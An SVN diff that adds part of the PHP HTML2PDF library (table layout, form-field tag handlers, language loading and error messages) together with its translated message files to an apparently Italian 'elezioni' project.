+					if (isset($corr[$y][$x]) && is_array($corr[$y][$x]))
+					{
+						if ($corr[$y][$x][2]==1)
+						{
+							$cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['w'] = $sw[$x];
+						}
+						else
+						{
+							// somme des colonnes correspondant au colspan
+							$s = 0; for($i=0; $i<$corr[$y][$x][2]; $i++) $s+= $sw[$x+$i];
+							$cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['w'] = $s;
+						}
+					}
+				}
+			}
+
+			// on détermine, pour les cases sans rowspan, la hauteur maximale de chaque colone
+			$sh = array();
+			for($y=0; $y<count($corr); $y++)
+			{
+				$m=0;
+				for($x=0; $x<count($corr[0]); $x++)
+					if (isset($corr[$y][$x]) && is_array($corr[$y][$x]) && $corr[$y][$x][3]==1)
+						$m = max($m, $cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['h']);
+				$sh[$y] = $m;	
+			}
+
+
+			// on vérifie que cette taille est valide avec les lignes en rowspan
+			for($y=0; $y<count($corr); $y++)
+			{
+				for($x=0; $x<count($corr[0]); $x++)
+				{
+					if (isset($corr[$y][$x]) && is_array($corr[$y][$x]) && $corr[$y][$x][3]>1)
+					{
+						// somme des colonnes correspondant au colspan
+						$s = 0; for($i=0; $i<$corr[$y][$x][3]; $i++) $s+= $sh[$y+$i];
+						
+						// si la somme est inférieure à la taille necessaire => règle de 3 pour adapter
+						if ($s>0 && $s<$cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['h'])
+							for($i=0; $i<$corr[$y][$x][3]; $i++)
+								$sh[$y+$i] = $sh[$y+$i]/$s*$cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['h'];
+					}
+				}
+			}
+			
+
+			// on applique les nouvelles hauteurs
+			for($y=0; $y<count($corr); $y++)
+			{
+				for($x=0; $x<count($corr[0]); $x++)
+				{
+					if (isset($corr[$y][$x]) && is_array($corr[$y][$x]))
+					{
+						if ($corr[$y][$x][3]==1)
+						{
+							$cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['h'] = $sh[$y];
+						}
+						else
+						{
+							// somme des lignes correspondant au rowspan
+							$s = 0; for($i=0; $i<$corr[$y][$x][3]; $i++) $s+= $sh[$y+$i];
+							$cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['h'] = $s;
+							
+							for($j=1; $j<$corr[$y][$x][3]; $j++)
+							{
+								$tx = $x+1;
+								$ty = $y+$j;
+								for(true; isset($corr[$ty][$tx]) && !is_array($corr[$ty][$tx]); $tx++);
+								if (isset($corr[$ty][$tx])) $cases[$corr[$ty][$tx][1]][$corr[$ty][$tx][0]]['dw']+= $cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['w'];
+																	
+							}
+						}
+					}
+				}
+			}		
+		}
+
+		/**
+		* balise : TH
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_TH($param)
+		{
+			$this->maxH = 0;
+			// identique à TD mais en gras
+			if (!isset($param['style']['font-weight'])) $param['style']['font-weight'] = 'bold';
+			$this->o_TD($param, 'th');
+		}	
+
+		/**
+		* balise : TH
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_TH($param)
+		{
+			$this->maxH = 0;
+			// identique à TD
+			$this->c_TD($param);			
+		}
+
+		/**
+		* balise : IMG
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_IMG($param)
+		{
+			// analyse du style
+			$src	= str_replace('&amp;', '&', $param['src']);	
+
+			$this->style->save();
+			$this->style->value['width']	= 0;
+			$this->style->value['height']	= 0;
+			$this->style->value['border']	= array(
+													'type'	=> 'none',
+													'width'	=> 0,
+													'color'	=> array(0, 0, 0),
+												);
+			$this->style->value['background'] = array(
+													'color'		=> null,
+													'image'		=> null,
+													'position'	=> null,
+													'repeat'	=> null
+												);
+			$this->style->analyse('img', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+
+			// affichage de l'image			
+			$this->Image($src, isset($param['sub_li']));
+
+			// restauration du style
+			$this->style->load();
+			$this->style->FontSet();	
+		}
+		
+		/**
+		* balise : SELECT
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_SELECT($param)
+		{
+			// preparation du champs
+			if (!isset($param['name']))		$param['name']	= 'champs_pdf_'.(count($this->lstChamps)+1);
+			
+			$param['name'] = strtolower($param['name']);
+			
+			if (isset($this->champs[$param['name']]))
+				$this->champs[$param['name']]++;
+			else
+				$this->champs[$param['name']] = 1;
+				
+			$this->style->save();
+			$this->style->analyse('select', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+			
+			$this->lstSelect = array();
+			$this->lstSelect['name']	= $param['name'];
+			$this->lstSelect['multi']	= isset($param['multiple']) ? true : false;
+			$this->lstSelect['size']	= isset($param['size']) ? $param['size'] : 1;
+			$this->lstSelect['options']	= array();
+
+			if ($this->lstSelect['multi'] && $this->lstSelect['size']<3) $this->lstSelect['size'] = 3;
+		}
+		
+		/**
+		* balise : OPTION
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_OPTION($param)
+		{
+			// on extrait tout ce qui est contenu dans l'option
+			$res = $this->parsing->getLevel($this->parse_pos);
+			$this->parse_pos = $res[0]-2;
+			$texte = $res[1];
+			$value = isset($param['value']) ? $param['value'] : 'auto_opt_'.(count($this->lstSelect)+1);
+			
+			$this->lstSelect['options'][$value] = $texte;
+		}
+		
+		/**
+		* balise : OPTION
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_OPTION($param) { }
+				
+		/**
+		* balise : SELECT
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_SELECT()
+		{
+			// position d'affichage
+			$x = $this->pdf->getX();
+			$y = $this->pdf->getY();
+			$f = 1.08*$this->style->value['font-size'];
+
+			$w = $this->style->value['width']; if (!$w) $w = 50; 
+			$h = ($f*1.07*$this->lstSelect['size'] + 1);
+			$prop = array();
+			if ($this->lstSelect['multi']) $prop['multipleSelection'] = true;
+			$this->pdf->form_Select($this->lstSelect['name'], $x, $y, $w, $h, $this->lstSelect['options'], $this->lstSelect['size']>1, $prop);
+							
+			$this->maxX = max($this->maxX, $x+$w);
+			$this->maxY = max($this->maxY, $y+$h);
+ 			$this->maxH = max($this->maxH, $h);
+			$this->pdf->setX($x+$w);
+			
+			$this->style->load();
+			$this->style->FontSet();
+			
+			$this->lstSelect = array();
+		}
+
+		/**
+		* balise : TEXTAREA
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_TEXTAREA($param)
+		{
+			// preparation du champs
+			if (!isset($param['name']))		$param['name']	= 'champs_pdf_'.(count($this->lstChamps)+1);
+			
+			$param['name'] = strtolower($param['name']);
+			
+			if (isset($this->champs[$param['name']]))
+				$this->champs[$param['name']]++;
+			else
+				$this->champs[$param['name']] = 1;
+				
+			$this->style->save();
+			$this->style->analyse('textarea', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+
+			// position d'affichage
+			$x = $this->pdf->getX();
+			$y = $this->pdf->getY();
+			$fx = 0.65*$this->style->value['font-size'];
+			$fy = 1.08*$this->style->value['font-size'];
+
+			// on extrait tout ce qui est contenu dans le textarea
+			$res = $this->parsing->getLevel($this->parse_pos);
+			$this->parse_pos = $res[0]-2;
+			$texte = $res[1];
+
+			$w = $fx*(isset($param['cols']) ? $param['cols'] : 22)+1; 
+			$h = $fy*1.07*(isset($param['rows']) ? $param['rows'] : 3)+3;
+			
+//			if ($this->style->value['width']) $w = $this->style->value['width'];
+//			if ($this->style->value['height']) $h = $this->style->value['height'];
+			
+			$prop = array();
+			$prop['value'] = $texte;
+			$prop['multiline'] = true;
+			
+			$this->pdf->form_InputText($param['name'], $x, $y, $w, $h, $prop);
+					
+			$this->maxX = max($this->maxX, $x+$w);
+			$this->maxY = max($this->maxY, $y+$h);
+ 			$this->maxH = max($this->maxH, $h);
+			$this->pdf->setX($x+$w);
+			
+		}
+		
+		/**
+		* balise : TEXTAREA
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_TEXTAREA()
+		{
+			$this->style->load();
+			$this->style->FontSet();
+		}
+						
+		/**
+		* balise : INPUT
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_INPUT($param)
+		{
+			// preparation du champs
+			if (!isset($param['name']))		$param['name']	= 'champs_pdf_'.(count($this->lstChamps)+1);
+			if (!isset($param['value']))	$param['value']	= '';
+			if (!isset($param['type']))		$param['type']	= 'text';
+			
+			$param['name'] = strtolower($param['name']);
+			$param['type'] = strtolower($param['type']);
+
+			if (!in_array($param['type'], array('text', 'checkbox', 'radio', 'hidden', 'submit', 'reset', 'button'))) $param['type'] = 'text';
+
+			if (isset($this->champs[$param['name']]))
+				$this->champs[$param['name']]++;
+			else
+				$this->champs[$param['name']] = 1;
+
+			$this->style->save();
+			$this->style->analyse('input', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+			
+			$name = $param['name'];
+		
+			// position d'affichage
+			$x = $this->pdf->getX();
+			$y = $this->pdf->getY();
+			$f = 1.08*$this->style->value['font-size'];
+			
+			switch($param['type'])
+			{
+				case 'checkbox':
+					$w = 3;
+					$h = $w;
+					if ($h<$f) $y+= ($f-$h)*0.5;
+					$this->pdf->form_InputCheckBox($name, $x, $y, $w, isset($param['checked']));
+					break;
+				
+				case 'radio':
+					$w = 3;
+					$h = $w;
+					if ($h<$f) $y+= ($f-$h)*0.5;
+					$this->pdf->form_InputRadio($name, $x, $y, $w);
+					break;
+					
+				case 'hidden':
+					$w = 0;
+					$h = 0;
+					$this->pdf->form_InputHidden($name, $param['value']);
+					break;
+					
+				case 'text':
+					$w = $this->style->value['width']; if (!$w) $w = 40; 
+					$h = $f*1.3;
+					$prop = array();
+					$prop['value'] = $param['value'];
+					$this->pdf->form_InputText($name, $x, $y, $w, $h, $prop);
+					break;
+
+				case 'submit':
+				case 'reset':
+				case 'button':
+					$action = isset($param['onclick']) ? $param['onclick'] : '';
+					$w = $this->style->value['width'];	if (!$w) $w = 40; 
+					$h = $this->style->value['height'];	if (!$h) $h = $f*1.3;
+					$prop = array();
+					$this->pdf->form_InputButton($name, $x, $y, $w, $h, $param['value'], $action, $prop);
+					break;
+					
+				default:
+					$w = 0;
+					$h = 0;
+					break;
+			}
+			
+			$this->maxX = max($this->maxX, $x+$w);
+			$this->maxY = max($this->maxY, $y+$h);
+ 			$this->maxH = max($this->maxH, $h);
+			$this->pdf->setX($x+$w);
+			
+			$this->style->load();
+			$this->style->FontSet();
+		}
+		
+		function textLOAD($langue)
+		{
+			if (!preg_match('/^([a-z0-9]+)$/isU', $langue))
+			{
+				echo 'ERROR : language code <b>'.$langue.'</b> incorrect.';
+				exit;
+			}
+			
+			$file = dirname(__FILE__).'/langues/'.strtolower($langue).'.txt';
+			if (!is_file($file))
+			{
+				echo 'ERROR : language code <b>'.$langue.'</b> unknown.<br>';
+				echo 'You can create the translation file <b>'.$file.'</b> and send it to me in order to integrate it into a future version.';
+				exit;				
+			}
+			
+			$texte = array();
+			$infos = file($file);
+			foreach($infos as $val)
+			{
+				$val = trim($val);
+				$val = explode("\t", $val);
+				if (count($val)<2) continue;
+				
+				$t_k = trim($val[0]); unset($val[0]);
+				$t_v = trim(implode(' ', $val));
+				if ($t_k && $t_v) $texte[$t_k] = $t_v;
+			}
+			global $HTML2PDF_TEXTE_FILE;
+			$HTML2PDF_TEXTE_FILE = $texte;	
+		}
+		
+		function textGET($key)
+		{
+			global $HTML2PDF_TEXTE_FILE;
+			if (!isset($HTML2PDF_TEXTE_FILE[$key])) return '######';
+			
+			return $HTML2PDF_TEXTE_FILE[$key];
+		}
+		
+		function makeError($err, $file, $line, $other = null)
+		{
+			$msg = '';
+			switch($err)
+			{
+				case 1:
+					$msg = (HTML2PDF::textGET('err01'));
+					$msg = str_replace('[[OTHER]]', $other, $msg); 
+					break;
+					
+				case 2:
+					$msg = (HTML2PDF::textGET('err02'));
+					$msg = str_replace('[[OTHER_0]]', $other[0], $msg); 
+					$msg = str_replace('[[OTHER_1]]', $other[1], $msg); 
+					$msg = str_replace('[[OTHER_2]]', $other[2], $msg); 
+					break;
+					
+				case 3:
+					$msg = (HTML2PDF::textGET('err03'));
+					$msg = str_replace('[[OTHER]]', $other, $msg); 
+					break;
+					
+				case 4:
+					$msg = (HTML2PDF::textGET('err04'));
+					$msg = str_replace('[[OTHER]]', print_r($other, true), $msg); 
+					break;
+					
+				case 5:
+					$msg = (HTML2PDF::textGET('err05'));
+					$msg = str_replace('[[OTHER]]', print_r($other, true), $msg); 
+					break;
+					
+				case 6:
+					$msg = (HTML2PDF::textGET('err06'));
+					$msg = str_replace('[[OTHER]]', $other, $msg); 
+					break;	
+					
+				case 7:
+					$msg = (HTML2PDF::textGET('err07'));
+					break;	
+			}
+			echo '<span style="color: #AA0000; font-weight: bold;">'.(HTML2PDF::textGET('txt01')).$err.'</span><br>';
+			echo (HTML2PDF::textGET('txt02')).' '.$file.'<br>';
+			echo (HTML2PDF::textGET('txt03')).' '.$line.'<br>';
+			echo '<br>';
+			echo $msg;
+			exit;	
+		}
+	}
+}
+
Index: /trunk/elezioni/trunk/client/inc/hpdf/langues/ca.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/langues/ca.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/langues/ca.txt	(revision 44)
@@ -0,0 +1,19 @@
+err01	L'etiqueta <b>&lt;[[OTHER]]&gt;</b> encara no existeix.<br><br>Si voleu afegir-la, heu de crear els mètodes <b>o_[[OTHER]]</b> (per l'obertura) i <b>c_[[OTHER]]</b> (pel tancament) seguint el model de les etiquetes existents.<br><br>A més, si creeu nous mètodes, envieu-ho a webmaster@spipu.net per tal d'afegir-los a les següents versions d'HTML2PDF, i que tothom en pugui gaudir.
+err02	Frase de 1000 línies => massa llarga<br><b>Frase :</b> [[OTHER_0]]<br><b>Mida casella :</b> [[OTHER_1]]<br><b>Mida text :</b> [[OTHER_2]]<br>
+err03	Codi HTML no vàlid, una etiqueta té un tancament de més : <b>&lt;[[OTHER]]&gt;</b>
+err04	Codi HTML no vàlid, les etiquetes no estan tancades en l'ordre correcte.<br>Estat : <pre>[[OTHER]]</pre>
+err05	Codi HTML no vàlid, totes les etiquetes han de tenir el seu tancament.<br>Estat : <pre>[[OTHER]]</pre>
+err06	Impossible carregar la imatge <b>[[OTHER]]</b>
+err07	El contenido de una etiqueta TD no encaja en una sola página
+txt01	ERROR n°
+txt02	Fitxer :
+txt03	Línia :
+pdf01	Document generat el [[date_d]]/[[date_m]]/[[date_y]]
+pdf02	Document generat a les [[date_h]]:[[date_i]]
+pdf03	Document generat el [[date_d]]/[[date_m]]/[[date_y]] a les [[date_h]]:[[date_i]]
+pdf04	Pàgina [[current]]/[[nb]]
+pdf05	Els formularis requereixen l'ús de l'Adobe Reader 9
+vue01	ENCABEZAR
+vue02	PEU DE PÀGINA
+vue03	PÀGINA
+vue04	Visualització
Index: /trunk/elezioni/trunk/client/inc/hpdf/langues/de.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/langues/de.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/langues/de.txt	(revision 44)
@@ -0,0 +1,19 @@
+err01	Das Tag <b>&lt;[[OTHER]]&gt;</b> existiert noch nicht.<br><br>Wenn Sie es hinzufügen möchten, sollen Sie die Methoden<b>o_[[OTHER]]</b> (zu öffnen) und <b>c_[[OTHER]]</b> (zu schließen) nach dem Modell den existierenden Tags.<br><br>Wenn Sie diese Methoden außerdem aufbauen, bitte teilen Sie sie duch eine E-Mail an meine Adresse : webmaster@spipu.net, so daß sie künftig in die nächste Version von HTML2PDF erscheinen.
+err02	1000-Linien Satz => zu lang<br><b>Satz :</b> [[OTHER_0]]<br><b>Breite des Eingabefelds :</b> [[OTHER_1]]<br><b>Länge des Texts :</b> [[OTHER_2]]<br>
+err03	Falsches HTML Code, überzähliges geschloßene Tag : <b>&lt;[[OTHER]]&gt;</b>
+err04	Falsches HTML Code, die Tags sind nicht in richtiger Ordnung geschloßen.<br>Status : <pre>[[OTHER]]</pre>
+err05	Falsches HTML Code, alle Tags sollen geschloßen sein.<br>Status : <pre>[[OTHER]]</pre>
+err06	Ladung des Bilds unmöglich <b>[[OTHER]]</b>
+err07	Er Inhalt eines TD-Tag passt nicht nur auf einer Seite
+txt01	Fehler n°
+txt02	Datei :
+txt03	Linie :
+pdf01	Datei aufgebaut am [[date_d]]/[[date_m]]/[[date_y]]
+pdf02	Datei aufgebaut um [[date_h]]:[[date_m]]
+pdf03	Datei aufgebaut am [[date_d]]/[[date_m]]/[[date_y]] um [[date_h]]:[[date_i]]
+pdf04	Seite [[current]]/[[nb]]
+pdf05	Die Formulare benötigen Sie den Adobe Reader 9
+vue01	Seite-Header
+vue02	Fußzeile
+vue03	Seite
+vue04	Visualisierung
Index: /trunk/elezioni/trunk/client/inc/hpdf/langues/en.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/langues/en.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/langues/en.txt	(revision 44)
@@ -0,0 +1,19 @@
+err01	The tag <b>&lt;[[OTHER]]&gt;</b> does not yet exist.<br><br>If you want to add it, you must create the methods <b>o_[[OTHER]]</b> (for opening) and <b>c_[[OTHER]]</b> (for closure) by following the model of existing tags.<br><br>If you create these methods, do not hesitate to send me an email to webmaster@spipu.net to included them in the next version of HTML2PDF.
+err02	Sentence of 1000 lines => too long<br><b>Sentence :</b> [[OTHER_0]]<br><b>Width box :</b> [[OTHER_1]]<br><b>Length text :</b> [[OTHER_2]]<br>
+err03	HTML code invalid, a tag is closed too many times: <b>&lt;[[OTHER]]&gt;</b>
+err04	HTML code invalid, the tags are not closed in an orderly fashion.<br>Status : <pre>[[OTHER]]</pre>
+err05	HTML code invalid, all tags must be closed.<br>Status : <pre>[[OTHER]]</pre>
+err06	Impossible to load the image <b>[[OTHER]]</b>
+err07	The content of a TD tag does not fit on only one page
+txt01	ERROR n°
+txt02	File :
+txt03	Line :
+pdf01	Document generated on [[date_y]]-[[date_m]]-[[date_d]]
+pdf02	Document generated at [[date_h]]:[[date_i]]
+pdf03	Document generated on [[date_y]]-[[date_m]]-[[date_d]] at [[date_h]]:[[date_i]]
+pdf04	Page [[current]]/[[nb]]
+pdf05	The forms require the use of Adobe Reader 9
+vue01	HEADER
+vue02	FOOTER
+vue03	PAGE
+vue04	View
Index: /trunk/elezioni/trunk/client/inc/hpdf/langues/es.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/langues/es.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/langues/es.txt	(revision 44)
@@ -0,0 +1,19 @@
+err01	La etiqueta <b>&lt;[[OTHER]]&gt;</b> todavía no existe.<br><br>Si quiere añadirla, debe crear los métodos <b>o_[[OTHER]]</b> (para la apertura) y <b>c_[[OTHER]]</b> (para el cierre) siguiendo el modelo de las etiquetas existentes.<br><br>Si crea nuevos métodos, envíelos a webmaster@spipu.net para añadirlos a las siguientes versiones de HTML2PDF, y que todo el mundo se pueda beneficiar.
+err02	Frase de 1000 líneas => demasiado larga<br><b>Frase :</b> [[OTHER_0]]<br><b>Tamaño casilla :</b> [[OTHER_1]]<br><b>Tamaño texto :</b> [[OTHER_2]]<br>
+err03	Código HTML no válido, una etiqueta tiene un cierre de más : <b>&lt;[[OTHER]]&gt;</b>
+err04	Código HTML no válido, las etiquetas no estan cerradas en el orden correcto.<br>Estado : <pre>[[OTHER]]</pre>
+err05	Código HTML no válido, todas las etiquetas deben tener su cierre.<br>Estado : <pre>[[OTHER]]</pre>
+err06	Imposible cargar la imagen <b>[[OTHER]]</b>
+err07	El contenido de una etiqueta TD no encaja en una sola página
+txt01	ERROR n°
+txt02	Fichero :
+txt03	Línea :
+pdf01	Documento generado el [[date_d]]/[[date_m]]/[[date_y]]
+pdf02	Documento generado a las [[date_h]]:[[date_i]]
+pdf03	Documento generado el [[date_d]]/[[date_m]]/[[date_y]] a las [[date_h]]:[[date_i]]
+pdf04	Página [[current]]/[[nb]]
+pdf05	Los formularios requieren el uso de Adobe Reader 9
+vue01	ENCABEZADO
+vue02	PIE DE PÁGINA
+vue03	PÁGINA
+vue04	Visualización
Index: /trunk/elezioni/trunk/client/inc/hpdf/langues/fr.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/langues/fr.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/langues/fr.txt	(revision 44)
@@ -0,0 +1,19 @@
+err01	La balise <b>&lt;[[OTHER]]&gt;</b> n'existe pas encore.<br><br>Si vous voulez la rajouter, vous devez créer les méthodes <b>o_[[OTHER]]</b> (pour l'ouverture) et <b>c_[[OTHER]]</b> (pour la fermeture) en suivant le modèle des balises existantes.<br><br>De plus, si vous créez ces méthodes, n'hésitez pas à en faire profiter tout le monde en m'écrivant sur webmaster@spipu.net afin qu'elles se retrouvent dans la prochaine version d'HTML2PDF.
+err02	Phrase de 1000 lignes => trop long<br><b>Phrase :</b> [[OTHER_0]]<br><b>Largeur case :</b> [[OTHER_1]]<br><b>Longueur text :</b> [[OTHER_2]]<br>
+err03	Code HTML non valide, une balise est fermée en trop : <b>&lt;[[OTHER]]&gt;</b>
+err04	Code HTML non valide, les balises ne sont pas fermées dans le bon ordre.<br>Etat : <pre>[[OTHER]]</pre>
+err05	Code HTML non valide, toutes les balises doivent être fermées.<br>Etat : <pre>[[OTHER]]</pre>
+err06	Impossible de charger l'image <b>[[OTHER]]</b>
+err07	le contenu d'une balise TD ne rentre pas sur une seule page
+txt01	ERREUR n°
+txt02	Fichier :
+txt03	Ligne :
+pdf01	Document généré le [[date_d]]/[[date_m]]/[[date_y]]
+pdf02	Document généré à [[date_h]]:[[date_i]]
+pdf03	Document généré le [[date_d]]/[[date_m]]/[[date_y]] à [[date_h]]:[[date_i]]
+pdf04	Page [[current]]/[[nb]]
+pdf05	Les formulaires nécessitent  l'utilisation de Adobe Reader 9
+vue01	HEADER
+vue02	FOOTER
+vue03	PAGE
+vue04	Restitution
Index: /trunk/elezioni/trunk/client/inc/hpdf/langues/it.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/langues/it.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/langues/it.txt	(revision 44)
@@ -0,0 +1,19 @@
+err01	Il tag <b>&lt;[[OTHER]]&gt;</b> non esiste ancora.<br><br>Se si desidera aggiungere, è necessario creare metodi <b>o_[[OTHER]]</b> (di apertura) e <b>C_[[OTHER]]</b> (per la chiusura) secondo il modello esistente di tag.<br><br>Inoltre, se si creare questi metodi, non esitate a portare il mondo intero ha scritto su webmaster@spipu.net in modo che alla fine nella prossima versione di HTML2PDF.
+err02	Citazione di 1000 linee => troppo lungo<br><b>frase :</b> [[OTHER_0]]<br><b>casella Larghezza :</b> [[OTHER_1]]<br><b>Lunghezza testo :</b> [[OTHER_2]]<br>
+err03	HTML non valido, un tag è chiusa troppo <b>&lt;[[OTHER]]&gt;</ b>
+err04	HTML non validi, i tag non sono chiusi nel corretto ordine.<br>Stato :<pre>[[OTHER]]</pre>
+err05	HTML non valido, tutte le tag deve essere chiuso.<br>Stato :<pre>[[OTHER]]</pre>
+err06	Impossibile caricare l'immagine <b>[[OTHER]]</b>
+err07	il contenuto di un tag TD non rientra in una sola pagina
+txt01	ERRORE n°
+txt02	File :
+txt03	Linea :
+pdf01	Documento generato il [[date_d]]/[[date_m]]/[[date_y]]
+pdf02	Documento generato [[date_h]]:[[date_i]]
+pdf03	Documento generato il [[date_d]]/[[date_m]]/[[date_y]] nel [[date_h]]:[[date_i]]
+pdf04	Pagina [[current]]/[[nb]]
+pdf05	I moduli richiedono l'uso di Adobe Reader 9
+vue01	HEADER
+vue02	FOOTER
+vue03	PAGINA
+vue04	Visualization
Index: /trunk/elezioni/trunk/client/inc/hpdf/langues/nl.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/langues/nl.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/langues/nl.txt	(revision 44)
@@ -0,0 +1,19 @@
+err01	De tag <b>&lt;[[OTHER]]&gt;</b> bestaat nog niet.<br><br>Om deze toe te voegen, gebruik de methods <b>o_[[OTHER]]</b> (om te openen) en <b>c_[[OTHER]]</b> (om te sluiten) volgens het model van de bestaande tags.<br><br>Als u deze methods maakt, stuur deze dan a.u.b. via e-mail naar webmaster@spipu.net voor opname in de volgende versie van HTML2PDF.
+err02	Zin van 1000 regels => te lang<br><b>Zin :</b> [[OTHER_0]]<br><b>Kaderbreedte :</b> [[OTHER_1]]<br><b>Tekstlengte :</b> [[OTHER_2]]<br>
+err03	Ongeldige HTML code, overvloedig afgesloten tag : <b>&lt;[[OTHER]]&gt;</b>
+err04	Ongeldige HTML code, de tags zijn niet correct afgesloten.<br>Status : <pre>[[OTHER]]</pre>
+err05	Ongeldige HTML code, alle tags dienen te zijn gesloten.<br>Status : <pre>[[OTHER]]</pre>
+err06	Kan afbeelding niet laden: <b>[[OTHER]]</b>
+err07	De inhoud van de cel (<TD>) past niet op een pagina
+txt01	Fout nr
+txt02	Bestand :
+txt03	Regel :
+pdf01	Document gemaakt op [[date_d]]-[[date_m]]-[[date_y]]
+pdf02	Document gemaakt om [[date_h]]:[[date_i]]
+pdf03	Document gemaakt op [[date_d]]-[[date_m]]-[[date_y]] om [[date_h]]:[[date_i]]
+pdf04	Pagina [[current]] van [[nb]]
+pdf05	De formulieren vereisen het gebruik van Adobe Reader 9
+vue01	Paginakop
+vue02	Paginavoet
+vue03	Pagina
+vue04	Bekijken
Index: /trunk/elezioni/trunk/client/inc/hpdf/langues/pt.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/langues/pt.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/langues/pt.txt	(revision 44)
@@ -0,0 +1,19 @@
+err01	A tag <b>&lt;[[OTHER]]&gt;</b> ainda não existe.<br><br>Se você quer inserí-la, deve criar os métodos <b>o_[[OTHER]]</b> (para abrí-la) e <b>c_[[OTHER]]</b> (para fechá-la) seguindo o modelo das tags existentes.<br><br>Se você criar novos métodos, os envie para webmaster@spipu.net para que as próximas versões de HTML2PDF, e o restante do mundo se beneficie com isso.
+err02	Frase de 1000 linhas => muito grande<br><b>Frase :</b> [[OTHER_0]]<br><b>Tamanho do quadro :</b> [[OTHER_1]]<br><b>Tamanho do texto :</b> [[OTHER_2]]<br>
+err03	Código HTML não válido, uma tag está com fechamento sobrando : <b>&lt;[[OTHER]]&gt;</b>
+err04	Código HTML não válido, as tags não estão fechadas na ordem correta.<br>Estado : <pre>[[OTHER]]</pre>
+err05	Código HTML não válido, todas as tags devem ser fechadas.<br>Estado : <pre>[[OTHER]]</pre>
+err06	Impossível carregar imagem <b>[[OTHER]]</b>
+err07	O conteúdo de uma tag TD não se encaixa em apenas uma página
+txt01	ERRO n°
+txt02	Arquivo :
+txt03	Linha :
+pdf01	Documento generado em [[date_d]]/[[date_m]]/[[date_y]]
+pdf02	Documento generado às [[date_h]]:[[date_i]]
+pdf03	Documento generado em [[date_d]]/[[date_m]]/[[date_y]] às [[date_h]]:[[date_i]]
+pdf04	Página [[current]]/[[nb]]
+pdf05	Os formulários exigem a utilização do Adobe Reader 9
+vue01	CABEÇALHO
+vue02	RODAPÉ
+vue03	PÁGINA
+vue04	Visualização
Index: /trunk/elezioni/trunk/client/inc/hpdf/langues/tr.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/langues/tr.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/langues/tr.txt	(revision 44)
@@ -0,0 +1,19 @@
+err01	<b>&lt;[[OTHER]]&gt;</b> etiketi bulunamadý.<br><br>Eklemek isterseniz, <b>o_[[OTHER]]</b> þeklinde açýp, <b>c_[[OTHER]]</b> þeklinde kapatabilirsiniz.<br><br> Bu þekilde etiketler üretirseniz lütfen daha sonraki HTML2PDF versiyonuna eklenmek üzere bana gönderin. ( webmaster@spipu.net ).
+err02	Ýçerik 1000 satýrdan fazla ve gerekenden uzun <br><b>Konu :</b> [[OTHER_0]]<br><b>Geniþlik :</b> [[OTHER_1]]<br><b>Yazý boyutu :</b> [[OTHER_2]]<br>
+err03	HTML kodu hatalý, etiket birden fazla defa kapatýlmýþ: <b>&lt;[[OTHER]]&gt;</b>
+err04	HTML kodu hatalý, etiketler gereken düzen içinde kapatýlmamýþ.<br>Durum : <pre>[[OTHER]]</pre>
+err05	HTML kodu hatalý, bütün etiketler kapatýlmalý.<br>Durum : <pre>[[OTHER]]</pre>
+err06	Resim dosyasý okunamýyor <b>[[OTHER]]</b>
+err07	TD içeriði bir sayfaya sýðmýyor
+txt01	HATA n°
+txt02	Dosya :
+txt03	Satýr :
+pdf01	Doküman üretilme tarihi [[date_y]]-[[date_m]]-[[date_d]]
+pdf02	Doküman üretilme tarihi [[date_h]]:[[date_i]]
+pdf03	Doküman üretilme tarihi [[date_y]]-[[date_m]]-[[date_d]] saati [[date_h]]:[[date_i]]
+pdf04	Sayfa [[current]]/[[nb]]
